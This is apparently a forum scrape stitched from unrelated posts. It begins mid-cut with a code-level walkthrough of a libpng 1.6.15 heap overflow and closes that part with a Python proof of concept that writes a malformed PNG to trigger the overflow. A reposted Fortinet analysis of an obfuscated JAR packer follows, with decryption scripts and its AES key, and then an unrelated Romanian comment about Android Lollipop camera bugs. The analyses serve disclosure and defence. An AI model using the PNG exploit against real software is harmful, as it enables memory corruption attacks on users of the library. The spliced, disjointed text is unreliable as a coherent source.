avail_out * \-> The size of output in bytes */ # pngrutil.c :: png_read_IDAT_data :: line 3984 buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/); # pngrutil.c :: png_read_IDAT_data :: line 3989 png_ptr->zstream.next_in = buffer; # pngrutil.c :: png_read_IDAT_data :: line 3946 png_ptr->zstream.next_out = output; # pngrutil.c :: png_read_IDAT_data :: line 4002 png_ptr->zstream.avail_out = out; pngrutil.c :: png_read_IDAT_data :: line 4018 ret = inflate(&png_ptr->zstream, Z_NO_FLUSH); /********************************* * The call to png_read_IDAT_data * *********************************/ # pngread.c :: png_read_row :: line 534 png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1); # pngrutil.c :: png_read_IDAT_data :: line 3941 void /* PRIVATE */ png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out) /***************************** * deriving row_info.rowbytes * *****************************/ # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.pixel_depth * ************************************/ # pngread.c :: png_read_row :: line 396 row_info.pixel_depth = png_ptr->pixel_depth; // row_info.pixel_depth is set in png_handle_IHDR # pngrutil.c :: png_handle_IHDR :: line 855 png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels); // where png_ptr->bit_depth = IHDR[8], or 0x10 // channels is set by the following logic based off // IHDR->color_type, or 0x6 if (color_type == PNG_COLOR_TYPE_RGB) // 2 png_ptr->channels = 3 else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4 png_ptr->channels = 2 else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6 png_ptr->channels = 4 else png_ptr->channels = 1 // row_info.pixel_depth = 0x10 * 4 /************************************ * deriving row_info.rowbytes * * \-> deriving row_info.width * ************************************/ # pngread.c :: png_read_row :: line 392 row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */ // png_ptr->iwidth is set in png_read_start_row // cliff notes here are, during the first interlace pass, width will be // divided by 8, so 0x20000000 becomes 0x4000000 // actual computation is ((0x20000000 + 8 - 1 - 0) / 8) # pngrutil.c :: png_read_start_row :: line 4217 png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000 png_pass_inc[png_ptr->pass] - 1 - png_pass_start[png_ptr->pass]) / png_pass_inc[png_ptr->pass]; // png_ptr->iwidth = 0x4000000 // back to our original call for row_info.rowbytes # pngread.c :: png_read_row :: line 397 row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width); # pngpriv.h :: line 659 /* Added to libpng-1.2.6 JB */ #define PNG_ROWBYTES(pixel_bits, width) \ ((pixel_bits) >= 8 ? \ ((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \ (( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) ) // row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000 // row_info.rowbytes = 0x20000000 /**************************** * deriving png_ptr->row_buf * ****************************/ # pngstruct.h :: line 225 // inside struct png_struct_def, which is png_ptr png_bytep row_buf; /* buffer to save current (unfiltered) row. * This is a pointer into big_row_buf */ # pngrutil.c :: png_read_start_row :: line 4403 png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48); // there are a couple #ifdef cases for png_ptr->row_buf to be set from, // but this summarizes nicely # pngrutil.c :: png_read_start_row :: line 4427 png_ptr->row_buf = png_ptr->big_row_buf + 31; /**************************** * deriving png_ptr->row_buf * * \-> deriving row_bytes * ****************************/ # pngrutil :: png_read_start_row :: line 4427 row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7)); /* Calculate the maximum bytes needed, adding a byte and a pixel * for safety's sake */ row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) + 1 + ((max_pixel_depth + 7) >> 3); // cliff notes, based on our IHDR color_type being // PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64 row_bytes = 0x20000000 * (64 >> 3) = 0; // this makes the size of the malloc call to png_malloc 48, which means // malloc doesn't fail, returns valid pointer into the heap // png_ptr->big_row_buf = png_malloc(png_ptr, 48) ################## # HAPPY FUN CODE # ################## import zlib import struct import sys OVERFLOW_DATA = 'A' * 4096 IDAT_DATA = zlib.compress(OVERFLOW_DATA) IDAT_SIZE = struct.pack('>i', len(IDAT_DATA)) IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA)) HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04' IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32 IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44' sys.stdout.write(HEADER + IHDR + IDAT + IEND) Sursa: http://tfpwn.com/files/libpng_heap_overflow_1.6.15.txt

[h=3]Analysis of a JAR Obfuscated Malware Packer[/h] by Ruhai Zhang | December 01, 2014 | Category: Security Research Normal Java JAR or class format samples can be easily analyzed with Java decompiler tools, such as JAD and JD-GUI. Not so with those obfuscated ones, where decompiling results may be empty or not clear. When this happens, we need to then analyze the JVM (Java Virtual Machine) p-code. Nowadays, more and more Java malware use anti-decompiling techniques to increase the difficulty of analysis. In this blog post, we will analyze a new JAR obfuscated packer that is being used by Java malware, using a sample that we detect as Java/Obfus.CI!tr as an example. [h=3]Decompiling the JAR Malware Sample[/h] This JAR sample has the following layout: Figure 1. JAR sample layout The main class defined in MANIFEST.MF is stub.EcryptedWrapper; the file stub.dll contains encrypted or compressed data. Using JD-GUI to decompile this sample, we can only see empty classes. Using JAD, we can get the result, but most of the classes are in JVM p-code. In the decompiled results from JAD, there are a large number of System.out.println() junk codes. After removing all of them, the flow is a little bit clearer. Many strings are still encrypted, but we can then locate and analyze the decrypting methods. EncryptedLoader.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") EncryptedLoaderOld.ALLATORIxDEMOxpalksksdqwdqbgnhmtyter("") These two methods have the same algorithm (shown in Figure 2) but just use different parameters. Figure 2. String decoder loop. [h=3]Decrypting the String[/h] Based on the algorithm in Figure 2, we can use the following Python function to decrypt the strings: def decoder(enc_str, key_str, key1, key2): klen = len(key_str) kidx = klen - 1 elen = len(enc_str) eidx = elen - 1 olist = [''] * elen while eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key1) eidx -= 1 if eidx >= 0: olist[eidx] = chr(ord(key_str[kidx]) ^ ord(enc_str[eidx]) ^ key2) eidx -= 1 kidx -= 1 if kidx < 0: kidx = klen - 1 return ''.join(olist) The three parameters key_str, key1, and key2 are as follows: EncryptedLoader: <class_name>+<method_name>, 0x52, 0x5A EncryptedLoaderOld: <method_name>+<class_name>, 0x2F, 0x55 After replacing all the encrypted strings, the flow is quite clear. The following is a simplified flow of the main class EcryptedWrapper. public class EcryptedWrapper implements Runnable { private EncryptedLoaderOld loader_old; public void run() { Class cls = loader_old.loadClass('Start'); cls.getMethod('main').invoke(); } public EcryptedWrapper() { EncryptedLoader loader = new EncryptedLoader(); loader.load(); //load and decrypt stub.dll loader_old = new EncryptedLoaderOld(loader.getClasses(), loader.getResources()); } public static void main(String args[]) { EcryptedWrapper wrapper = new EcryptedWrapper(); (new Thread(wrapper)).start(); } } [h=3]Decrypting stub.dll[/h] Based on the decompiling result of EncryptedLoader.class, the file stub.dll can be decrypted with the following Python function: from Crypto.Cipher import AES def decrypt_jar(fname): fp_in = open(fname, 'rb') fp_out = open(fname+'_', 'wb') key = '0B4wCrd5N2OxG93h' cipher = AES.new(key) fp_out.write(cipher.decrypt(fp_in.read())) fp_in.close() fp_out.close() The decrypted result is a friendly JAR file which can be decompiled by JD-GUI. Its main class in MANIFEST.MF is Start, as shown in the run() method of EcryptedWrapper. Our initial analysis shows that it is a multiplatform RAT. [h=3]Conclusion[/h] As we have seen, Java malware have continued to evolve in order to make analysis more difficult by adding an obfuscation packer. We have already added detection for several Java malware that use this kind packer and will continue to keep our eyes open for new techniques that may emerge in the days ahead. by Ruhai Zhang | December 01, 2014 Sursa: Analysis of a JAR Obfuscated Malware Packer | Fortinet Blog

In mare e ok, DAR eu am avut probleme cu Camera si din aceasta cauza l-am abandonat. Mai exact, daca tii apasat sa faci poza (asteptand sa se puna focusul) se blocheaza si apoi nu mai poti face poza. Mai era dubios ca nu am gasit un meniu accesibil de unde sa pun telefonul pe Silent iar "Alarm clock" l-am descoperit din greseala dupa o saptamana E interesant, alt design + aplicatii de la dezvoltatori care iti permit sa dai Deny cand o aplicatie cere drepturi de Location de exemplu. Nota: Din cauza problemelor cu Camera m-am intors la 4.4.2, dar merita "descoperit" Lollipop asta. Daca aveti timp puteti sa va jucati cu el.